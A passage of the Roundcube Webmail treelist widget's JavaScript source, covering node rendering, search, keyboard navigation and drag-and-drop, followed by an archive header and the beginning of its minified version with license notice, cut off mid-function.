          if (parent_ul.closest('li').length && (old_parent = indexbyid[dom2id(parent_ul.closest('li'))])) {
            old_parent.children = $.grep(old_parent.children, function(elem, i){ return elem.id != node.id; });
          }

          // append to new parent node
          parent_ul = id2dom(updates.parent).children('ul').first();
          if (!parent_node.children)
            parent_node.children = [];
          parent_node.children.push(node);
        }
        else if (updates.parent !== undefined) {
          parent_ul = container;
        }

        $.extend(node, updates);
        li = render_node(node, parent_ul, li);
      }

      if (node.id != id) {
        delete indexbyid[id];
        indexbyid[node.id] = node;
      }

      if (sort) {
        resort_node(li, typeof sort == 'string' ? '[class~="' + sort + '"]' : '');
      }
    }
  }

  /**
   * Helper method to sort the list of the given item
   */
  function resort_node(li, filter)
  {
    var first, sibling,
      myid = li.get(0).id,
      sortname = li.children().first().text().toUpperCase();

    li.parent().children('li' + filter).each(function(i, elem) {
      if (i == 0)
        first = elem;
      if (elem.id == myid) {
        // skip
      }
      else if (elem.id != myid && sortname >= $(elem).children().first().text().toUpperCase()) {
        sibling = elem;
      }
      else {
        return false;
      }
    });

    if (sibling) {
      li.insertAfter(sibling);
    }
    else if (first && first.id != myid) {
      li.insertBefore(first);
    }

    // reload data from dom
    update_data();
  }

  /**
   * Remove the item with the given ID
   */
  function remove(id)
  {
    var node, li, parent;

    if (node = indexbyid[id]) {
      li = id2dom(id, true);
      parent = li.parent();
      li.remove();

      node.deleted = true;
      delete indexbyid[id];

      if (search_active) {
        id2dom(id, false).remove();
      }

      // remove tree-toggle button and children list
      if (!parent.children().length) {
        parent.parent('li').find('div.treetoggle').remove();

        // remove parent, but not if it's the list itself
        if (parent[0] != container[0]) {
            parent.remove();
        }
      }

      return true;
    }

    return false;
  }

  /**
   * (Re-)read tree data from DOM
   */
  function update_data()
  {
    data = walk_list(container, 0);
  }

  /**
   * Apply the 'collapsed' status of the data node to the corresponding DOM element(s)
   */
  function update_dom(node)
  {
    var li = id2dom(node.id, true);
    li.attr('aria-expanded', node.collapsed ? 'false' : 'true');
    li.children('ul').first()[(node.collapsed ? 'hide' : 'show')]();
    li.children('div.treetoggle').removeClass('collapsed expanded').addClass(node.collapsed ? 'collapsed' : 'expanded');
    me.triggerEvent('toggle', node);
  }

  /**
   *
   */
  function reset(keep_content, keep_selection)
  {
    if (!keep_selection)
      select('');

    data = [];
    indexbyid = {};
    drag_active = false;

    if (keep_content) {
      if (draggable_opts) {
        if (ui_draggable)
          draggable('destroy');
        draggable(draggable_opts);
      }

      if (droppable_opts) {
        if (ui_droppable)
          droppable('destroy');
        droppable(droppable_opts);
      }

      update_data();
    }
    else {
      container.html('');
    }

    reset_search(keep_selection);
  }

  /**
   * 
   */
  function search(q, enter)
  {
    q = String(q).toLowerCase();

    if (!q.length)
      return reset_search();
    else if (q == last_search && !enter)
      return 0;

    var hits = [];
    var search_tree = function(items) {
      $.each(items, function(i, node) {
        var li, sli;
        if (!node.virtual && !node.deleted && String(node.text).toLowerCase().indexOf(q) >= 0 && hits.indexOf(node.id) < 0) {
          li = id2dom(node.id);

          // skip already filtered nodes
          if (li.data('filtered'))
            return;

          sli = $('<li>')
            .attr('id', li.attr('id') + '--xsR')
            .attr('class', li.attr('class'))
            .addClass('searchresult__')
            // append all elements like links and inputs, but not sub-trees
            .append(li.children(':not(div.treetoggle,ul)').clone(true, true))
            .appendTo(container);
          
          // let skins to do their magic, e.g. Elastic will fix pretty checkbox
          rcmail.triggerEvent('clonerow', {
            id: node.id,
            row: sli.get(0)
          });

          hits.push(node.id);
        }

        if (node.children && node.children.length) {
          search_tree(node.children);
        }
      });
    };

    // reset old search results
    if (search_active) {
      $(container).children('li.searchresult__').remove();
      search_active = false;
    }

    // hide all list items
    $(container).children('li').hide().removeClass('selected');

    // search recursively in tree (to keep sorting order)
    search_tree(data);
    search_active = true;

    me.triggerEvent('search', { query: q, last: last_search, count: hits.length, ids: hits, execute: enter||false });

    last_search = q;

    return hits.count;
  }

  /**
   * 
   */
  function reset_search(nosel)
  {
    if (searchfield)
      searchfield.val('');

    $(container).children('li.searchresult__').remove();
    $(container).children('li').filter(function() { return !$(this).data('filtered'); }).show();

    search_active = false;

    me.triggerEvent('search', { query: false, last: last_search });
    last_search = '';

    if (selection && !nosel)
      select(selection);
  }

  /**
   *
   */
  function is_search()
  {
    return search_active;
  }

  /**
   * Render the tree list from the internal data structure
   */
  function render()
  {
    if (me.triggerEvent('renderBefore', data) === false)
      return;

    // remove all child nodes
    container.html('');

    // render child nodes
    for (var i=0; i < data.length; i++) {
      data[i].level = 0;
      render_node(data[i], container);
    }

    me.triggerEvent('renderAfter', container);
  }

  /**
   * Render a specific node into the DOM list
   */
  function render_node(node, parent, replace)
  {
    if (node.deleted)
      return;

    var li = $('<li>')
      .attr('id', p.id_prefix + (p.id_encode ? p.id_encode(node.id) : node.id))
      .attr('role', 'treeitem')
      .addClass((node.classes || []).join(' '))
      .data('id', node.id);

    if (replace) {
      replace.replaceWith(li);
      if (parent)
        li.appendTo(parent);
    }
    else
      li.appendTo(parent);

    if (typeof node.html == 'string')
      li.html(node.html);
    else if (typeof node.html == 'object')
      li.append(node.html);

    if (!node.text)
      node.text = li.children().first().text();

    if (node.virtual)
      li.addClass('virtual');
    if (node.id == selection)
      li.addClass('selected');

    // add child list and toggle icon
    if (node.children && node.children.length) {
      li.attr('aria-expanded', node.collapsed ? 'false' : 'true');
      $('<div class="treetoggle '+(node.collapsed ? 'collapsed' : 'expanded') + '">&nbsp;</div>').appendTo(li);
      var ul = $('<ul>').appendTo(li).attr('class', node.childlistclass).attr('role', 'group');
      if (node.collapsed)
        ul.hide();

      for (var i=0; i < node.children.length; i++) {
        node.children[i].level = node.level + 1;
        render_node(node.children[i], ul);
      }
    }

    return li;
  }

  /**
   * Recursively walk the DOM tree and build an internal data structure
   * representing the skeleton of this tree list.
   */
  function walk_list(ul, level)
  {
    var result = [];
    ul.children('li').each(function(i,e){
      var state, li = $(e), sublist = li.children('ul');
      var node = {
        id: dom2id(li),
        classes: String(li.attr('class')).split(' '),
        virtual: li.hasClass('virtual'),
        level: level,
        html: li.children().first().get(0).outerHTML,
        text: li.children().first().text(),
        children: walk_list(sublist, level+1)
      }

      if (sublist.length) {
        node.childlistclass = sublist.attr('class');
      }
      if (node.children.length) {
        if (node.collapsed === undefined)
          node.collapsed = sublist.css('display') == 'none';

        // apply saved state
        state = get_state(node.id, node.collapsed);
        if (state !== undefined) {
          node.collapsed = state;
          sublist[(state?'hide':'show')]();
        }

        if (!li.children('div.treetoggle').length)
          $('<div class="treetoggle '+(node.collapsed ? 'collapsed' : 'expanded') + '">&nbsp;</div>').appendTo(li);

        li.attr('aria-expanded', node.collapsed ? 'false' : 'true');
      }
      if (li.hasClass('selected')) {
        li.attr('aria-selected', 'true');
        selection = node.id;
      }

      li.data('id', node.id);

      // declare list item as treeitem
      li.attr('role', 'treeitem').attr('aria-level', node.level+1);

      // allow virtual nodes to receive focus
      if (node.virtual) {
        li.children('a').first().attr('tabindex', '0');
      }

      result.push(node);
      indexbyid[node.id] = node;
    });

    ul.attr('role', level == 0 ? 'tree' : 'group');

    return result;
  }

  /**
   * Recursively walk the data tree and index nodes by their ID
   */
  function index_data(node)
  {
    if (node.id) {
      indexbyid[node.id] = node;
    }
    for (var c=0; node.children && c < node.children.length; c++) {
      index_data(node.children[c]);
    }
  }

  /**
   * Get the (stripped) node ID from the given DOM element
   */
  function dom2id(li)
  {
    var domid = String(li.attr('id')).replace(new RegExp('^' + (p.id_prefix) || '%'), '').replace(/--xsR$/, '');
    return p.id_decode ? p.id_decode(domid) : domid;
  }

  /**
   * Get the <li> element for the given node ID
   */
  function id2dom(id, real)
  {
    var domid = p.id_encode ? p.id_encode(id) : id,
      suffix = search_active && !real ? '--xsR' : '';

    return $('#' + p.id_prefix + domid + suffix, container);
  }

  /**
   * Scroll the parent container to make the given list item visible
   */
  function scroll_to_node(li)
  {
    var scroller = container.parent(),
      current_offset = scroller.scrollTop(),
      rel_offset = li.offset().top - scroller.offset().top;

    if (rel_offset < 0 || rel_offset + li.height() > scroller.height())
      scroller.scrollTop(rel_offset + current_offset);
  }

  /**
   * Save node collapse state to localStorage
   */
  function save_state(id, collapsed)
  {
    if (p.save_state && window.rcmail) {
      var key = 'treelist-' + list_id;
      if (!tree_state) {
        tree_state = rcmail.local_storage_get_item(key, {});
      }

      if (tree_state[id] != collapsed) {
        tree_state[id] = collapsed;
        rcmail.local_storage_set_item(key, tree_state);
      }
    }
  }

  /**
   * Read node collapse state from localStorage
   */
  function get_state(id)
  {
    if (p.save_state && window.rcmail) {
      if (!tree_state) {
        tree_state = rcmail.local_storage_get_item('treelist-' + list_id, {});
      }
      return tree_state[id];
    }

    return undefined;
  }

  /**
   * Handler for keyboard events on treelist
   */
  function keypress(e)
  {
    var target = e.target || {},
      keyCode = rcube_event.get_keycode(e);

    if (!has_focus || target.nodeName == 'INPUT' && keyCode != 38 && keyCode != 40 || target.nodeName == 'TEXTAREA' || target.nodeName == 'SELECT')
      return true;

    switch (keyCode) {
      case 38:
      case 40:
      case 63232: // 'up', in safari keypress
      case 63233: // 'down', in safari keypress
        var li = p.keyboard ? container.find(':focus').closest('li') : [];
        if (li.length) {
          focus_next(li, (mod = keyCode == 38 || keyCode == 63232 ? -1 : 1));
        }
        return rcube_event.cancel(e);

      case 37: // Left arrow key
      case 39: // Right arrow key
        var id, node, li = container.find(':focus').closest('li');
        if (li.length) {
          id = dom2id(li);
          node = indexbyid[id];
          if (node && node.children.length && node.collapsed != (keyCode == 37))
            toggle(id, rcube_event.get_modifier(e) == SHIFT_KEY);  // toggle subtree
        }
        return false;

      case 9:  // Tab
        if (p.keyboard && p.tabexit) {
          // jump to last/first item to move focus away from the treelist widget by tab
          var limit = rcube_event.get_modifier(e) == SHIFT_KEY ? 'first' : 'last';
          focus_noscroll(container.find('li[role=treeitem]:has(a)')[limit]().find('a:'+limit));
        }
        break;
    }

    return true;
  }

  function focus_next(li, dir, from_child)
  {
    var mod = dir < 0 ? 'prev' : 'next',
      next = li[mod](), limit, parent;

    if (dir > 0 && !from_child && li.children('ul[role=group]:visible').length) {
      li.children('ul').children('li').first().find('a').first().focus();
    }
    else if (dir < 0 && !from_child && next.children('ul[role=group]:visible').length) {
      next.children('ul').children('li').last().find('a').first().focus();
    }
    else if (next.length && next.find('a').first().focus().length) {
        // focused
    }
    else {
      parent = li.parent().closest('li[role=treeitem]');
      if (parent.length)
        if (dir < 0) {
          parent.find('a').first().focus();
        }
        else {
          focus_next(parent, dir, true);
        }
    }
  }

  /**
   * Focus the given element without scrolling the list container
   */
  function focus_noscroll(elem)
  {
    if (elem.length) {
      var frame = container.parent().get(0) || { scrollTop:0 },
        y = frame.scrollTop || frame.scrollY;
      elem.focus();
      frame.scrollTop = y;
    }
  }


  function get_next()
  {
    var node, child;
    if (selection && (node = id2dom(selection))) {
      child = node.children('ul').children('li').first();
      if (child.length) {
        return dom2id(child);
      }

      child = node.next();
      if (child.length) {
        return dom2id(child);
      }

      while ((node = node.parent('ul').parent('li')) && node.length) {
        child = node.next();
        if (child.length) {
          return dom2id(child);
        }
      }
    }
  }

  function get_prev()
  {
    var node, prev, child;
    if (selection && (node = id2dom(selection))) {
      prev = node.prev();
      child = prev.find('li').last();

      if (child.length) {
        return dom2id(child);
      }

      if (prev.length) {
        return dom2id(prev);
      }

      node = node.parent().parent();
      if (node.length && node.is('li')) {
        return dom2id(node);
      }
    }
  }

  ///// drag & drop support

  /**
   * When dragging starts, compute absolute bounding boxes of the list and it's items
   * for faster comparisons while mouse is moving
   */
  function drag_start(force)
  {
    if (!force && drag_active)
      return;

    drag_active = true;

    var li, item, height,
      pos = container.offset();

    body_scroll_top = bw.ie ? 0 : window.pageYOffset;
    list_scroll_top = container.parent().scrollTop();
    pos.top += list_scroll_top;

    box_coords = {
      x1: pos.left,
      y1: pos.top,
      x2: pos.left + container.width(),
      y2: pos.top + container.height()
    };

    item_coords = [];
    for (var id in indexbyid) {
      li = id2dom(id);
      item = li.children().first().get(0);
      if (item && (height = item.offsetHeight)) {
        pos = $(item).offset();
        pos.top += list_scroll_top;
        item_coords[id] = {
          x1: pos.left,
          y1: pos.top,
          x2: pos.left + item.offsetWidth,
          y2: pos.top + height,
          on: id == autoexpand_item
        };
      }
    }

    // enable auto-scrolling of list container
    if (container.height() > container.parent().height()) {
      container.parent().on('mousemove.treelist', function(e) {
          var scroll = 0,
            mouse = rcube_event.get_mouse_pos(e);
          mouse.y -= container.parent().offset().top;

          if (mouse.y < 25 && list_scroll_top > 0) {
            scroll = -1; // up
          }
          else if (mouse.y > container.parent().height() - 25) {
            scroll = 1; // down
          }

          if (drag_active && scroll != 0) {
            if (!scroll_timer)
              scroll_timer = setTimeout(function() { drag_scroll(scroll); }, p.scroll_delay);
          }
          else if (scroll_timer) {
            window.clearTimeout(scroll_timer);
            scroll_timer = null;
          }
      })
      .on('mouseleave.treelist', function() {
          if (scroll_timer) {
            window.clearTimeout(scroll_timer);
            scroll_timer = null;
          }
      });
    }
  }

  /**
   * Signal that dragging has stopped
   */
  function drag_end()
  {
    container.parent().off('.treelist');
    $('li.droptarget', container).removeClass('droptarget');

    if (!drag_active)
      return;

    drag_active = false;
    scroll_timer = null;

    if (autoexpand_timer) {
      clearTimeout(autoexpand_timer);
      autoexpand_timer = null;
      autoexpand_item = null;
    }
  }

  /**
   * Scroll list container in the given direction
   */
  function drag_scroll(dir)
  {
    if (!drag_active)
      return;

    var old_top = list_scroll_top;
    container.parent().get(0).scrollTop += p.scroll_step * dir;
    list_scroll_top = container.parent().scrollTop();
    scroll_timer = null;

    if (list_scroll_top != old_top)
      scroll_timer = setTimeout(function() { drag_scroll(dir); }, p.scroll_speed);
  }

  /**
   * Determine if the given mouse coords intersect the list and one of its items
   */
  function intersects(mouse, highlight)
  {
    // offsets to compensate for scrolling while dragging a message
    var boffset = bw.ie ? -document.documentElement.scrollTop : body_scroll_top,
      moffset = container.parent().scrollTop(),
      result = null;

    mouse.top = mouse.y + moffset - boffset;

    // no intersection with list bounding box
    if (mouse.x < box_coords.x1 || mouse.x >= box_coords.x2 || mouse.top < box_coords.y1 || mouse.top >= box_coords.y2) {
      // TODO: optimize performance for this operation
      if (highlight)
        $('li.droptarget', container).removeClass('droptarget');
      return result;
    }

    // check intersection with visible list items
    var id, pos, node;
    for (id in item_coords) {
      pos = item_coords[id];
      if (mouse.x >= pos.x1 && mouse.x < pos.x2 && mouse.top >= pos.y1 && mouse.top < pos.y2) {
        node = indexbyid[id];

        // if the folder is collapsed, expand it after the configured time
        if (node.children && node.children.length && node.collapsed && p.autoexpand && autoexpand_item != id) {
          if (autoexpand_timer)
            clearTimeout(autoexpand_timer);

          autoexpand_item = id;
          autoexpand_timer = setTimeout(function() {
            expand(autoexpand_item);
            drag_start(true);  // re-calculate item coords
            autoexpand_item = null;
            if (ui_droppable)
              $.ui.ddmanager.prepareOffsets($.ui.ddmanager.current, null);
          }, p.autoexpand);
        }
        else if (autoexpand_timer && autoexpand_item != id) {
          clearTimeout(autoexpand_timer);
          autoexpand_item = null;
          autoexpand_timer = null;
        }

        // check if this item is accepted as drop target
        if (p.check_droptarget(node)) {
          if (highlight) {
            id2dom(id).addClass('droptarget');
            pos.on = true;
          }
          result = id;
        }
        else {
          result = null;
        }
      }
      else if (pos.on) {
        id2dom(id).removeClass('droptarget');
        pos.on = false;
      }
    }

    return result;
  }

  /**
   * Wrapper for jQuery.UI.droppable() activation on this widget
   *
   * @param object Options as passed to regular .droppable() function
   */
  function droppable(opts)
  {
    if (!opts) opts = {};

    if ($.type(opts) == 'string') {
      if (opts == 'destroy') {
        ui_droppable = null;
      }
      $('li:not(.virtual)', container).droppable(opts);
      return this;
    }

    droppable_opts = opts;

    var my_opts = $.extend({
        greedy: true,
        tolerance: 'pointer',
        hoverClass: 'droptarget',
        addClasses: false
      }, opts);

    my_opts.activate = function(e, ui) {
      drag_start();
      ui_droppable = ui;
      if (opts.activate)
        opts.activate(e, ui);
    };

    my_opts.deactivate = function(e, ui) {
      drag_end();
      ui_droppable = null;
      if (opts.deactivate)
        opts.deactivate(e, ui);
    };

    my_opts.over = function(e, ui) {
      intersects(rcube_event.get_mouse_pos(e), false);
      if (opts.over)
        opts.over(e, ui);
    };

    $('li:not(.virtual)', container).droppable(my_opts);

    return this;
  }

  /**
   * Wrapper for jQuery.UI.draggable() activation on this widget
   *
   * @param object Options as passed to regular .draggable() function
   */
  function draggable(opts)
  {
    if (!opts) opts = {};

    if ($.type(opts) == 'string') {
      if (opts == 'destroy') {
        ui_draggable = null;
      }
      $('li:not(.virtual)', container).draggable(opts);
      return this;
    }

    draggable_opts = opts;

    var my_opts = $.extend({
        appendTo: 'body',
        revert: 'invalid',
        iframeFix: true,
        addClasses: false,
        cursorAt: {left: -20, top: 5},
        create: function(e, ui) { ui_draggable = ui; },
        helper: function(e) {
          return $('<div>').attr('id', 'rcmdraglayer')
            .text($(e.target).first().text().trim());
        }
      }, opts);

    $('li:not(.virtual)', container).draggable(my_opts);

    return this;
  }

  function is_draggable()
  {
    return !!ui_draggable;
  }
}

// use event processing functions from Roundcube's rcube_event_engine
rcube_treelist_widget.prototype.addEventListener = rcube_event_engine.prototype.addEventListener;
rcube_treelist_widget.prototype.removeEventListener = rcube_event_engine.prototype.removeEventListener;
rcube_treelist_widget.prototype.triggerEvent = rcube_event_engine.prototype.triggerEvent;
PK
h�\z+�-7-7program/js/treelist.min.jsnu�[���/**
 * Roundcube Treelist Widget
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @requires jquery.js, common.js
 */
function rcube_treelist_widget(e,s){s=$.extend({id_prefix:"",autoexpand:1e3,selectable:!1,scroll_delay:500,scroll_step:5,scroll_speed:20,save_state:!1,keyboard:!0,tabexit:!0,parent_focus:!1,check_droptarget:function(e){return!e.virtual}},s||{});var d,c,n,t,o,u,r,i,l,f=$(e),a=s.data||[],h={},p=null,g=!1,v=!1,_="",m=!1,x={},b=[],y=0,T=0,w=f.attr("id")||s.id_prefix||"0",C=this;function E(e,t,r){var i;if(i=h[e]){if(i.collapsed=void 0===r||r,(n=O((a=i).id,!0)).attr("aria-expanded",a.collapsed?"false":"true"),n.children("ul").first()[a.collapsed?"hide":"show"](),n.children("div.treetoggle").removeClass("collapsed expanded").addClass(a.collapsed?"collapsed":"expanded"),C.triggerEvent("toggle",a),t&&i.children)for(var l=0;l<i.children.length;l++)E(i.children[l].id,t,r);C.triggerEvent(i.collapsed?"collapse":"expand",i);var n=e,a=i.collapsed;s.save_state&&window.rcmail&&(e="treelist-"+w,(o=o||rcmail.local_storage_get_item(e,{}))[n]!=a)&&(o[n]=a,rcmail.local_storage_set_item(e,o))}}function k(e,t){E(e,t,!1)}function L(e,t){var r;(r=h[e])&&E(e,t,!r.collapsed)}function A(e){var t;!1!==C.triggerEvent("beforeselect",h[e])&&(p&&(O(p,!0).removeClass("selected").removeAttr("aria-selected"),v&&O(p).removeClass("selected").removeAttr("aria-selected"),p=null),e)&&((t=O(e,!0)).length&&(t.addClass("selected").attr("aria-selected","true"),p=e,v&&O(e).addClass("selected").attr("aria-selected","true"),B(t)),C.triggerEvent("select",h[e]))}function F(){return p}function I(e,t){return O(e,t).get(0)}function U(e,t){var r,i,l=e.get(0).id,n=e.children().first().text().toUpperCase();e.parent().children("li"+t).each(function(e,t){if(0==e&&(r=t),t.id!=l){if(!(t.id!=l&&n>=$(t).children().first().text().toUpperCase()))return!1;i=t}}),i?e.insertAfter(i):r&&r.id!=l&&e.insertBefore(r),S()}function S(){a=function n(e,a){var o=[];e.children("li").each(function(e,t){var r,t=$(t),i=t.children("ul"),l={id:N(t),classes:String(t.attr("class")).split(" "),virtual:t.hasClass("virtual"),level:a,html:t.children().first().get(0).outerHTML,text:t.children().first().text(),children:n(i,a+1)};i.length&&(l.childlistclass=i.attr("class")),l.children.length&&(void 0===l.collapsed&&(l.collapsed="none"==i.css("display")),void 0!==(r=K(l.id))&&i[(l.collapsed=r)?"hide":"show"](),t.children("div.treetoggle").length||$('<div class="treetoggle '+(l.collapsed?"collapsed":"expanded")+'">&nbsp;</div>').appendTo(t),t.attr("aria-expanded",l.collapsed?"false":"true")),t.hasClass("selected")&&(t.attr("aria-selected","true"),p=l.id),t.data("id",l.id),t.attr("role","treeitem").attr("aria-level",l.level+1),l.virtual&&t.children("a").first().attr("tabindex","0"),o.push(l),h[l.id]=l});e.attr("role",0==a?"tree":"group");return o}(f,0)}function q(i,e){if(!(i=String(i).toLowerCase()).length)return R();var l,n;i==_&&!e||(l=[],n=function(e){$.each(e,function(e,t){var r;if(!t.virtual&&!t.deleted&&0<=String(t.text).toLowerCase().indexOf(i)&&l.indexOf(t.id)<0){if((r=O(t.id)).data("filtered"))return;r=$("<li>").attr("id",r.attr("id")+"--xsR").attr("class",r.attr("class")).addClass("searchresult__").append(r.children(":not(div.treetoggle,ul)").clone(!0,!0)).appendTo(f),rcmail.triggerEvent("clonerow",{id:t.id,row:r.get(0)}),l.push(t.id)}t.children&&t.children.length&&n(t.children)})},v&&($(f).children("li.searchresult__").remove(),v=!1),$(f).children("li").hide().removeClass("selected"),n(a),v=!0,C.triggerEvent("search",{query:i,last:_,count:l.length,ids:l,execute:e||!1}),_=i)}function R(e){t&&t.val(""),$(f).children("li.searchresult__").remove(),$(f).children("li").filter(function(){return!$(this).data("filtered")}).show(),v=!1,C.triggerEvent("search",{query:!1,last:_}),_="",p&&!e&&A(p)}function H(e,t,r){if(!e.deleted){var i=$("<li>").attr("id",s.id_prefix+(s.id_encode?s.id_encode(e.id):e.id)).attr("role","treeitem").addClass((e.classes||[]).join(" ")).data("id",e.id);if((!r||(r.replaceWith(i),t))&&i.appendTo(t),"string"==typeof e.html?i.html(e.html):"object"==typeof e.html&&i.append(e.html),e.text||(e.text=i.children().first().text()),e.virtual&&i.addClass("virtual"),e.id==p&&i.addClass("selected"),e.children&&e.children.length){i.attr("aria-expanded",e.collapsed?"false":"true"),$('<div class="treetoggle '+(e.collapsed?"collapsed":"expanded")+'">&nbsp;</div>').appendTo(i);var l=$("<ul>").appendTo(i).attr("class",e.childlistclass).attr("role","group");e.collapsed&&l.hide();for(var n=0;n<e.children.length;n++)e.children[n].level=e.level+1,H(e.children[n],l)}return i}}function N(e){e=String(e.attr("id")).replace(new RegExp("^"+s.id_prefix||"%"),"").replace(/--xsR$/,"");return s.id_decode?s.id_decode(e):e}function O(e,t){e=s.id_encode?s.id_encode(e):e,t=v&&!t?"--xsR":"";return $("#"+s.id_prefix+e+t,f)}function B(e){var t=f.parent(),r=t.scrollTop(),i=e.offset().top-t.offset().top;(i<0||i+e.height()>t.height())&&t.scrollTop(i+r)}function K(e){if(s.save_state&&window.rcmail)return(o=o||rcmail.local_storage_get_item("treelist-"+w,{}))[e]}function P(e){if(e||!g){g=!0;var t,r,i,l=f.offset();for(i in y=bw.ie?0:window.pageYOffset,T=f.parent().scrollTop(),l.top+=T,x={x1:l.left,y1:l.top,x2:l.left+f.width(),y2:l.top+f.height()},b=[],h)(t=O(i).children().first().get(0))&&(r=t.offsetHeight)&&((l=$(t).offset()).top+=T,b[i]={x1:l.left,y1:l.top,x2:l.left+t.offsetWidth,y2:l.top+r,on:i==c});f.height()>f.parent().height()&&f.parent().on("mousemove.treelist",function(e){var t=0,e=rcube_event.get_mouse_pos(e);e.y-=f.parent().offset().top,e.y<25&&0<T?t=-1:e.y>f.parent().height()-25&&(t=1),g&&0!=t?n=n||setTimeout(function(){!function e(t){if(!g)return;var r=T;f.parent().get(0).scrollTop+=s.scroll_step*t;T=f.parent().scrollTop();n=null;T!=r&&(n=setTimeout(function(){e(t)},s.scroll_speed))}(t)},s.scroll_delay):n&&(window.clearTimeout(n),n=null)}).on("mouseleave.treelist",function(){n&&(window.clearTimeout(n),n=null)})}}function W(){f.parent().off(".treelist"),$("li.droptarget",f).removeClass("droptarget"),g&&(g=!1,n=null,d)&&(clearTimeout(d),c=d=null)}function D(e,t){var r,i,l,n=bw.ie?-document.documentElement.scrollTop:y,a=f.parent().scrollTop(),o=null;if(e.top=e.y+a-n,e.x<x.x1||e.x>=x.x2||e.top<x.y1||e.top>=x.y2)t&&$("li.droptarget",f).removeClass("droptarget");else for(r in b)i=b[r],e.x>=i.x1&&e.x<i.x2&&e.top>=i.y1&&e.top<i.y2?((l=h[r]).children&&l.children.length&&l.collapsed&&s.autoexpand&&c!=r?(d&&clearTimeout(d),c=r,d=setTimeout(function(){k(c),P(!0),c=null,u&&$.ui.ddmanager.prepareOffsets($.ui.ddmanager.current,null)},s.autoexpand)):d&&c!=r&&(clearTimeout(d),d=c=null),o=s.check_droptarget(l)?(t&&(O(r).addClass("droptarget"),i.on=!0),r):null):i.on&&(O(r).removeClass("droptarget"),i.on=!1);return o}function Y(r){var e;return r=r||{},"string"==$.type(r)?("destroy"==r&&(u=null),$("li:not(.virtual)",f).droppable(r)):(l=r,(e=$.extend({greedy:!0,tolerance:"pointer",hoverClass:"droptarget",addClasses:!1},r)).activate=function(e,t){P(),u=t,r.activate&&r.activate(e,t)},e.deactivate=function(e,t){W(),u=null,r.deactivate&&r.deactivate(e,t)},e.over=function(e,t){D(rcube_event.get_mouse_pos(e),!1),r.over&&r.over(e,t)},$("li:not(.virtual)",f).droppable(e)),this}function j(e){return e=e||{},"string"==$.type(e)?("destroy"==e&&(r=null),$("li:not(.virtual)",f).draggable(e)):(i=e,e=$.extend({appendTo:"body",revert:"invalid",iframeFix:!0,addClasses:!1,cursorAt:{left:-20,top:5},create:function(e,t){r=t},helper:function(e){return $("<div>").attr("id","rcmdraglayer").text($(e.target).first().text().trim())}},e),$("li:not(.virtual)",f).draggable(e)),this}this.container=f,this.expand=k,this.collapse=E,this.expand_all=function(){$.each(h,function(e,t){0<t.children.length&&t.collapsed&&E(e,!1,!1)})},this.collapse_all=function(){$.each(h,function(e,t){0<t.children.length&&!t.collapsed&&E(e)})},this.select=A,this.render=function(){if(!1!==C.triggerEvent("renderBefore",a)){f.html("");for(var e=0;e<a.length;e++)a[e].level=0,H(a[e],f);C.triggerEvent("renderAfter",f)}},this.reset=function(e,t){t||A("");a=[],g=!(h={}),e?(i&&(r&&j("destroy"),j(i)),l&&(u&&Y("destroy"),Y(l)),S()):f.html("");R(t)},this.drag_start=P,this.drag_end=W,this.intersects=D,this.droppable=Y,this.draggable=j,this.is_draggable=function(){return!!r},this.update=function(e,t,r){var i,l,n,a,o=h[e];o&&(i=O(e),l=i.parent(),(t.id||t.html||t.children||t.classes||t.parent)&&(t.parent&&(n=h[t.parent])?(l.closest("li").length&&(a=h[N(l.closest("li"))])&&(a.children=$.grep(a.children,function(e,t){return e.id!=o.id})),l=O(t.parent).children("ul").first(),n.children||(n.children=[]),n.children.push(o)):void 0!==t.parent&&(l=f),$.extend(o,t),i=H(o,l,i)),o.id!=e&&(delete h[e],h[o.id]=o),r)&&U(i,"string"==typeof r?'[class~="'+r+'"]':"")},this.insert=function(e,t,r){var i,l=t?h[t]:null;search_=v,h[e.id]||(void 0!==(state=K(e.id,e.collapsed))&&(e.collapsed=state),l?(e.level=l.level+1,l.children?l.children=l.children.filter(function(e){return!e.deleted}):l.children=[],v=!1,l.children.push(e),t=O(t),i=1==l.children.length?(H(l,null,t),O(e.id)):H(e,t.children("ul").first()),search_&&(v=search_,i.is(":visible")||$("<li>").attr("id",i.attr("id")+"--xsR").attr("class",i.attr("class")).addClass("searchresult__").append(i.children().first().clone(!0,!0)).appendTo(f))):(e.level=0,a.push(e),i=H(e,f)),"object"==typeof(h[e.id]=e).html&&(h[e.id].html=O(e.id,!0).children()),r&&U(i,"string"==typeof r?'[class~="'+r+'"]':""))},this.remove=function(e){var t,r,i;if(t=h[e])return r=O(e,!0),i=r.parent(),r.remove(),t.deleted=!0,delete h[e],v&&O(e,!1).remove(),i.children().length||(i.parent("li").find("div.treetoggle").remove(),i[0]!=f[0]&&i.remove()),!0;return!1},this.get_item=I,this.get_node=function(e){return h[e]},this.get_selection=F,this.in_selection=function(e){return p==e},this.get_next=function(){var e,t;if(p&&(e=O(p))){if((t=e.children("ul").children("li").first()).length)return N(t);if((t=e.next()).length)return N(t);for(;(e=e.parent("ul").parent("li"))&&e.length;)if((t=e.next()).length)return N(t)}},this.get_prev=function(){var e,t,r;if(p&&(e=O(p)))return t=e.prev(),(r=t.find("li").last()).length?N(r):t.length?N(t):(e=e.parent().parent()).length&&e.is("li")?N(e):void 0},this.get_single_selection=F,this.is_search=function(){return v},this.reset_search=R,f.length&&(s.data?function e(t){t.id&&(h[t.id]=t);for(var r=0;t.children&&r<t.children.length;r++)e(t.children[r])}({children:a}):S(),p&&B(O(p,!0)),f.attr("role","tree").on("focusin",function(e){m=!0}).on("focusout",function(e){m=!1}).on("click","div.treetoggle",function(e){L(N($(this).parent())),e.stopPropagation()}).on("click","li",function(e){if($(e.target).is("input"))return!0;var 